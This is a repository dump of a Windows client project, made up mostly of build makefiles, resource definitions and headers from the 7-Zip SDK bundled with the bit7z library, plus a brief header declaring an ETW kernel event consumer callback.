PLATFORM=x64 2 | O=b/c_$(PLATFORM) 3 | IS_X64=1 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/Explorer.def: -------------------------------------------------------------------------------- 1 | ; 7-zip.def 2 | 3 | LIBRARY "7-zip" 4 | 5 | EXPORTS 6 | DllCanUnloadNow PRIVATE 7 | DllGetClassObject PRIVATE 8 | DllRegisterServer PRIVATE 9 | DllUnregisterServer PRIVATE 10 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_gcc.mak: -------------------------------------------------------------------------------- 1 | PLATFORM= 2 | O=b/g 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM= 9 | CC=$(CROSS_COMPILE)gcc 10 | CXX=$(CROSS_COMPILE)g++ 11 | 12 | # -march=armv8-a+crc+crypto 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/FileMapping.cpp: -------------------------------------------------------------------------------- 1 | // Windows/FileMapping.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "FileMapping.h" 6 | 7 | namespace NWindows { 8 | namespace NFile { 9 | namespace NMapping { 10 | 11 | 12 | }}} 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Precomp.h: -------------------------------------------------------------------------------- 1 | /* Precomp.h -- StdAfx 2 | 2013-11-12 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_PRECOMP_H 5 | #define __7Z_PRECOMP_H 6 | 7 | #include "Compiler.h" 8 | /* #include "7zTypes.h" */ 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_clang_arm64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=arm64 2 | O=b/c_$(PLATFORM) 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64=1 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_clang_x86.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x86 2 | O=b/c_$(PLATFORM) 3 | IS_X64= 4 | IS_X86=1 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH=-m32 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_APP("7-Zip Standalone Console", "7za") 4 | 5 | #ifndef UNDER_CE 6 | 1 24 MOVEABLE PURE "../../UI/Console/Console.manifest" 7 | #endif 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/HelpUtils.h: -------------------------------------------------------------------------------- 1 | // HelpUtils.h 2 | 3 | #ifndef __HELP_UTILS_H 4 | #define __HELP_UTILS_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | void ShowHelpWindow(LPCSTR topicFile); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_mac_x64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x64 2 | O=b/m_$(PLATFORM) 3 | IS_X64=1 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH=-arch x86_64 8 | USE_ASM= 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone2/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | 3 | MY_VERSION_INFO_APP("7-Zip Standalone 2 Console", "7zz") 4 | 5 | #ifndef UNDER_CE 6 | 1 24 MOVEABLE PURE "../../UI/Console/Console.manifest" 7 | #endif 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/LangPageRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_LANG 2101 2 | #define IDD_LANG_2 12101 3 | 4 | #define IDS_LANG_ENGLISH 1 5 | #define IDS_LANG_NATIVE 2 6 | 7 | #define IDT_LANG_LANG 2102 8 | #define IDC_LANG_LANG 100 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_mac_arm64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=arm64 2 | O=b/m_$(PLATFORM) 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64=1 6 | CROSS_COMPILE= 7 | MY_ARCH=-arch arm64 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_clang_arm64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=arm64 2 | O=b/c_$(PLATFORM) 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64=1 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_clang_x64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x64 2 | O=b/c_$(PLATFORM) 3 | IS_X64=1 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH= 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7z/Precomp.h: -------------------------------------------------------------------------------- 1 | /* Precomp.h -- StdAfx 2 | 2013-06-16 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_PRECOMP_H 5 | #define __7Z_PRECOMP_H 6 | 7 | #include "../../Compiler.h" 8 | #include "../../7zTypes.h" 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone7z/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../../../C/7zVersion.rc" 2 | 3 | MY_VERSION_INFO_APP("7-Zip Reduced Standalone Console", "7zr") 4 | 5 | #ifndef UNDER_CE 6 | 1 24 MOVEABLE PURE "../../UI/Console/Console.manifest" 7 | #endif 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/CopyDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_COPY 96 2 | 3 | #define IDT_COPY 100 4 | #define IDC_COPY 101 5 | #define IDB_COPY_SET_PATH 102 6 | #define IDT_COPY_INFO 103 7 | 8 | #define IDS_SET_FOLDER 6007 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_clang_x86.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x86 2 | O=b/c_$(PLATFORM) 3 | IS_X64= 4 | IS_X86=1 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH=-m32 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_mac_arm64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=arm64 2 | O=b/m_$(PLATFORM) 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64=1 6 | CROSS_COMPILE= 7 | MY_ARCH=-arch arm64 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_mac_x64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=x64 2 | O=b/m_$(PLATFORM) 3 | IS_X64=1 4 | IS_X86= 5 | IS_ARM64= 6 | CROSS_COMPILE= 7 | MY_ARCH=-arch x86_64 8 | USE_ASM= 9 | CC=$(CROSS_COMPILE)clang 10 | CXX=$(CROSS_COMPILE)clang++ 11 | USE_CLANG=1 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/SfxSetup/Precomp.h: -------------------------------------------------------------------------------- 1 | /* Precomp.h -- StdAfx 2 | 2013-06-16 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_PRECOMP_H 5 | #define __7Z_PRECOMP_H 6 | 7 | #include "../../Compiler.h" 8 | #include "../../7zTypes.h" 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXSetup/resource.h: -------------------------------------------------------------------------------- 1 | #define IDI_ICON 1 2 | 3 | #define IDS_EXTRACTION_ERROR_TITLE 7 4 | #define IDS_EXTRACTION_ERROR_MESSAGE 8 5 | #define IDS_CANNOT_CREATE_FOLDER 3003 6 | #define IDS_PROGRESS_EXTRACTING 3300 7 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/SplitDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_SPLIT 7300 2 | 3 | #define IDT_SPLIT_PATH 7301 4 | #define IDT_SPLIT_VOLUME 7302 5 | 6 | #define IDC_SPLIT_PATH 100 7 | #define IDB_SPLIT_PATH 101 8 | #define IDC_SPLIT_VOLUME 102 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/LzmaDec_gcc.mak: -------------------------------------------------------------------------------- 1 | ifdef USE_ASM 2 | ifdef IS_X64 3 | USE_LZMA_DEC_ASM=1 4 | endif 5 | ifdef IS_ARM64 6 | USE_LZMA_DEC_ASM=1 7 | endif 8 | endif 9 | 10 | ifdef USE_LZMA_DEC_ASM 11 | 12 | LZMA_DEC_OPT_OBJS= $O/LzmaDecOpt.o 13 | 14 | endif 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/SortUtils.h: -------------------------------------------------------------------------------- 1 | // SortUtils.h 2 | 3 | #ifndef __SORT_UTLS_H 4 | #define __SORT_UTLS_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | void SortFileNames(const UStringVector &strings, CUIntVector &indices); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/AboutDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_ABOUT 2900 2 | 3 | #define IDT_ABOUT_INFO 2901 4 | 5 | #define IDI_LOGO 100 6 | #define IDT_ABOUT_VERSION 101 7 | #define IDT_ABOUT_DATE 102 8 | #define IDB_ABOUT_HOMEPAGE 110 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/ProcessMessages.h: -------------------------------------------------------------------------------- 1 | // Windows/ProcessMessages.h 2 | 3 | #ifndef __WINDOWS_PROCESSMESSAGES_H 4 | #define __WINDOWS_PROCESSMESSAGES_H 5 | 6 | namespace NWindows { 7 | 8 | void ProcessMessages(HWND window); 9 | 10 | } 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipInstall/Precomp.h: -------------------------------------------------------------------------------- 1 | /* Precomp.h -- StdAfx 2 | 2015-05-24 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_PRECOMP_H 5 | #define __7Z_PRECOMP_H 6 | 7 | #include "../../Compiler.h" 8 | 9 | #include "../../7zTypes.h" 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipUninstall/Precomp.h: -------------------------------------------------------------------------------- 1 | /* Precomp.h -- StdAfx 2 | 2015-05-24 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_PRECOMP_H 5 | #define __7Z_PRECOMP_H 6 | 7 | #include "../../Compiler.h" 8 | 9 | #include "../../7zTypes.h" 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/var_gcc_arm64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=arm64 2 | O=b/g_$(PLATFORM) 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64=1 6 | CROSS_COMPILE= 7 | MY_ARCH=-mtune=cortex-a53 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)gcc 10 | CXX=$(CROSS_COMPILE)g++ 11 | 12 | # -march=armv8-a+crc+crypto 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/Property.h: -------------------------------------------------------------------------------- 1 | // Property.h 2 | 3 | #ifndef __7Z_PROPERTY_H 4 | #define __7Z_PROPERTY_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | struct CProperty 9 | { 10 | UString Name; 11 | UString Value; 12 | }; 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Crc.mak: -------------------------------------------------------------------------------- 1 | C_OBJS = $(C_OBJS) \ 2 | $O\7zCrc.obj 3 | !IF "$(PLATFORM)" == "ia64" || "$(PLATFORM)" == "mips" || "$(PLATFORM)" == "arm" || "$(PLATFORM)" == "arm64" 4 | C_OBJS = $(C_OBJS) \ 5 | !ELSE 6 | ASM_OBJS = $(ASM_OBJS) \ 7 | !ENDIF 8 | $O\7zCrcOpt.obj 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/PropertyName.h: -------------------------------------------------------------------------------- 1 | // PropertyName.h 2 | 3 | #ifndef __PROPERTY_NAME_H 4 | #define __PROPERTY_NAME_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | UString GetNameOfProperty(PROPID propID, const wchar_t *name); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/Random.h: -------------------------------------------------------------------------------- 1 | // Common/Random.h 2 | 3 | #ifndef __COMMON_RANDOM_H 4 | #define __COMMON_RANDOM_H 5 | 6 | class CRandom 7 | { 8 | public: 9 | void Init(); 10 | void Init(unsigned int seed); 11 | int Generate() const; 12 | }; 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/FilePathAutoRename.h: -------------------------------------------------------------------------------- 1 | // FilePathAutoRename.h 2 | 3 | #ifndef __FILE_PATH_AUTO_RENAME_H 4 | #define __FILE_PATH_AUTO_RENAME_H 5 | 6 | #include "../../Common/MyString.h" 7 | 8 | bool AutoRenamePath(FString &fullProcessedPath); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Crc64.mak: -------------------------------------------------------------------------------- 1 | C_OBJS = $(C_OBJS) \ 2 | $O\XzCrc64.obj 3 | !IF "$(PLATFORM)" == "ia64" || "$(PLATFORM)" == "mips" || "$(PLATFORM)" == "arm" || "$(PLATFORM)" == "arm64" 4 | C_OBJS = $(C_OBJS) \ 5 | !ELSE 6 | ASM_OBJS = $(ASM_OBJS) \ 7 | !ENDIF 8 | $O\XzCrc64Opt.obj 9 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/SetProperties.h: -------------------------------------------------------------------------------- 1 | // SetProperties.h 2 | 3 | #ifndef __SETPROPERTIES_H 4 | #define __SETPROPERTIES_H 5 | 6 | #include "Property.h" 7 | 8 | HRESULT SetProperties(IUnknown *unknown, const CObjectVector &properties); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/var_gcc_arm64.mak: -------------------------------------------------------------------------------- 1 | PLATFORM=arm64 2 | O=b/g_$(PLATFORM) 3 | IS_X64= 4 | IS_X86= 5 | IS_ARM64=1 6 | CROSS_COMPILE= 7 | MY_ARCH=-mtune=cortex-a53 8 | USE_ASM=1 9 | CC=$(CROSS_COMPILE)gcc 10 | CXX=$(CROSS_COMPILE)g++ 11 | 12 | # -march=armv8-a+crc+crypto 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipUninstall/resource.h: -------------------------------------------------------------------------------- 1 | #define IDD_INSTALL 100 2 | 3 | #define IDT_EXTRACT_EXTRACT_TO 110 4 | #define IDE_EXTRACT_PATH 111 5 | 6 | #define IDT_CUR_FILE 113 7 | #define IDC_PROGRESS 114 8 | 9 | #define IDI_ICON 1 10 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Iso/IsoHeader.cpp: -------------------------------------------------------------------------------- 1 | // Archive/Iso/Header.h 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "IsoHeader.h" 6 | 7 | namespace NArchive { 8 | namespace NIso { 9 | 10 | const char * const kElToritoSpec = "EL TORITO SPECIFICATION\0\0\0\0\0\0\0\0\0"; 11 | 12 | }} 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXSetup/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #include 9 | 10 | // #define printf(x) NO_PRINTF_(x) 11 | // #define sprintf(x) NO_SPRINTF_(x) 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/resource2.rc: -------------------------------------------------------------------------------- 1 | #include "ExtractDialog.rc" 2 | #include "CompressDialog.rc" 3 | #include "BenchmarkDialog.rc" 4 | #include "resource2.h" 5 | 6 | STRINGTABLE 7 | BEGIN 8 | IDS_PROGRESS_COMPRESSING "Compressing" 9 | IDS_ARCHIVES_COLON "Archives:" 10 | END 11 | -------------------------------------------------------------------------------- /client/ETW/ETWConsumer.h: -------------------------------------------------------------------------------- 1 | #define INITGUID 2 | #include "ETW.h" 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | int WINAPI etw_kernel_consumer_callback(PEVENT_RECORD pevent, Petw_consumer_info etw_info); -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Asm.mak: -------------------------------------------------------------------------------- 1 | !IFDEF ASM_OBJS 2 | !IF "$(CPU)" == "ARM" 3 | $(ASM_OBJS): ../../../../Asm/Arm/$(*B).asm 4 | $(COMPL_ASM) 5 | !ELSEIF "$(CPU)" != "IA64" && "$(CPU)" != "MIPS" && "$(CPU)" != "ARM64" 6 | $(ASM_OBJS): ../../../../Asm/x86/$(*B).asm 7 | $(COMPL_ASM) 8 | !ENDIF 9 | !ENDIF 10 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../MyVersionInfo.rc" 2 | #include "resource2.rc" 3 | 4 | MY_VERSION_INFO_DLL("7-Zip Shell Extension", "7-zip") 5 | 6 | #ifndef UNDER_CE 7 | 1 24 MOVEABLE PURE "7-zip.dll.manifest" 8 | #endif 9 | 10 | IDI_ICON ICON "..\FileManager\FM.ico" 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Archive.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | CreateObject PRIVATE 3 | 4 | GetHandlerProperty PRIVATE 5 | GetNumberOfFormats PRIVATE 6 | GetHandlerProperty2 PRIVATE 7 | GetIsArc PRIVATE 8 | 9 | SetCodecs PRIVATE 10 | 11 | SetLargePageMode PRIVATE 12 | SetCaseSensitive PRIVATE 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/XpressDecoder.h: -------------------------------------------------------------------------------- 1 | // XpressDecoder.h 2 | 3 | #ifndef __XPRESS_DECODER_H 4 | #define __XPRESS_DECODER_H 5 | 6 | namespace NCompress { 7 | namespace NXpress { 8 | 9 | HRESULT Decode(const Byte *in, size_t inSize, Byte *out, size_t outSize); 10 | 11 | }} 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/ArchiveName.h: -------------------------------------------------------------------------------- 1 | // ArchiveName.h 2 | 3 | #ifndef __ARCHIVE_NAME_H 4 | #define __ARCHIVE_NAME_H 5 | 6 | #include "../../../Windows/FileFind.h" 7 | 8 | UString CreateArchiveName(const UStringVector &paths, const NWindows::NFile::NFind::CFileInfo *fi = NULL); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | // #define _WIN32_WINNT 0x0400 7 | #define _WIN32_WINNT 0x0500 8 | #define WINVER _WIN32_WINNT 9 | 10 | #include "../../../Common/Common.h" 11 | 12 | #include 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/BrowseDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_BROWSE 95 2 | 3 | #define IDL_BROWSE 100 4 | #define IDT_BROWSE_FOLDER 101 5 | #define IDE_BROWSE_PATH 102 6 | #define IDC_BROWSE_FILTER 103 7 | 8 | #define IDB_BROWSE_PARENT 110 9 | #define IDB_BROWSE_CREATE_DIR 112 10 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/MyUnknown.h: -------------------------------------------------------------------------------- 1 | // MyUnknown.h 2 | 3 | #ifndef __MY_UNKNOWN_H 4 | #define __MY_UNKNOWN_H 5 | 6 | #include "MyWindows.h" 7 | 8 | /* 9 | #ifdef _WIN32 10 | #include 11 | #include 12 | #else 13 | #include "MyWindows.h" 14 | #endif 15 | */ 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipInstall/resource.h: -------------------------------------------------------------------------------- 1 | #define IDD_INSTALL 100 2 | 3 | #define IDT_EXTRACT_EXTRACT_TO 110 4 | #define IDE_EXTRACT_PATH 111 5 | #define IDB_EXTRACT_SET_PATH 112 6 | #define IDT_CUR_FILE 113 7 | #define IDC_PROGRESS 114 8 | 9 | #define IDI_ICON 1 10 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/LzOutWindow.cpp: -------------------------------------------------------------------------------- 1 | // LzOutWindow.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "LzOutWindow.h" 6 | 7 | void CLzOutWindow::Init(bool solid) throw() 8 | { 9 | if (!solid) 10 | COutBuffer::Init(); 11 | #ifdef _NO_EXCEPTIONS 12 | ErrorCode = S_OK; 13 | #endif 14 | } 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/EnumFormatEtc.h: -------------------------------------------------------------------------------- 1 | // EnumFormatEtc.h 2 | 3 | #ifndef __ENUMFORMATETC_H 4 | #define __ENUMFORMATETC_H 5 | 6 | #include "../../../Common/MyWindows.h" 7 | 8 | HRESULT CreateEnumFormatEtc(UINT numFormats, const FORMATETC *formats, IEnumFORMATETC **enumFormat); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: rikyoz 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: rikyoz 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXWin/StdAfx.h: -------------------------------------------------------------------------------- 1 | // StdAfx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | #include "../../../Common/Common.h" 7 | 8 | #include 9 | #include 10 | 11 | // #define printf(x) NO_PRINTF_(x) 12 | // #define sprintf(x) NO_SPRINTF_(x) 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/DefaultName.h: -------------------------------------------------------------------------------- 1 | // DefaultName.h 2 | 3 | #ifndef __DEFAULT_NAME_H 4 | #define __DEFAULT_NAME_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | UString GetDefaultName2(const UString &fileName, 9 | const UString &extension, const UString &addSubExtension); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ClassDefs.cpp: -------------------------------------------------------------------------------- 1 | // ClassDefs.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../../Common/MyWindows.h" 6 | 7 | #include "../../../Common/MyInitGuid.h" 8 | 9 | #include "../Agent/Agent.h" 10 | 11 | #include "MyWindowsNew.h" 12 | #include "../Explorer/MyExplorerCommand.h" 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/TempFiles.h: -------------------------------------------------------------------------------- 1 | // TempFiles.h 2 | 3 | #ifndef __TEMP_FILES_H 4 | #define __TEMP_FILES_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | class CTempFiles 9 | { 10 | void Clear(); 11 | public: 12 | FStringVector Paths; 13 | ~CTempFiles() { Clear(); } 14 | }; 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/SystemPageRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_SYSTEM 2200 2 | #define IDD_SYSTEM_2 12200 3 | 4 | #define IDT_SYSTEM_ASSOCIATE 2201 5 | #define IDS_SYSTEM_ALL_USERS 2202 6 | 7 | #define IDL_SYSTEM_ASSOCIATE 100 8 | #define IDB_SYSTEM_CURRENT 101 9 | #define IDB_SYSTEM_ALL 102 10 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/MyException.h: -------------------------------------------------------------------------------- 1 | // Common/Exception.h 2 | 3 | #ifndef __COMMON_EXCEPTION_H 4 | #define __COMMON_EXCEPTION_H 5 | 6 | #include "MyWindows.h" 7 | 8 | struct CSystemException 9 | { 10 | HRESULT ErrorCode; 11 | CSystemException(HRESULT errorCode): ErrorCode(errorCode) {} 12 | }; 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Fm/resource.rc: -------------------------------------------------------------------------------- 1 | #include "../../UI/FileManager/resource.rc" 2 | #include "../../UI/GUI/resource2.rc" 3 | 4 | STRINGTABLE 5 | BEGIN 6 | 100 "7z zip rar 001 cab iso xz txz lzma tar cpio bz2 bzip2 tbz2 tbz gz gzip tgz tpz z taz lzh lha rpm deb arj vhd vhdx wim swm esd fat ntfs dmg hfs xar squashfs" 7 | END 8 | -------------------------------------------------------------------------------- 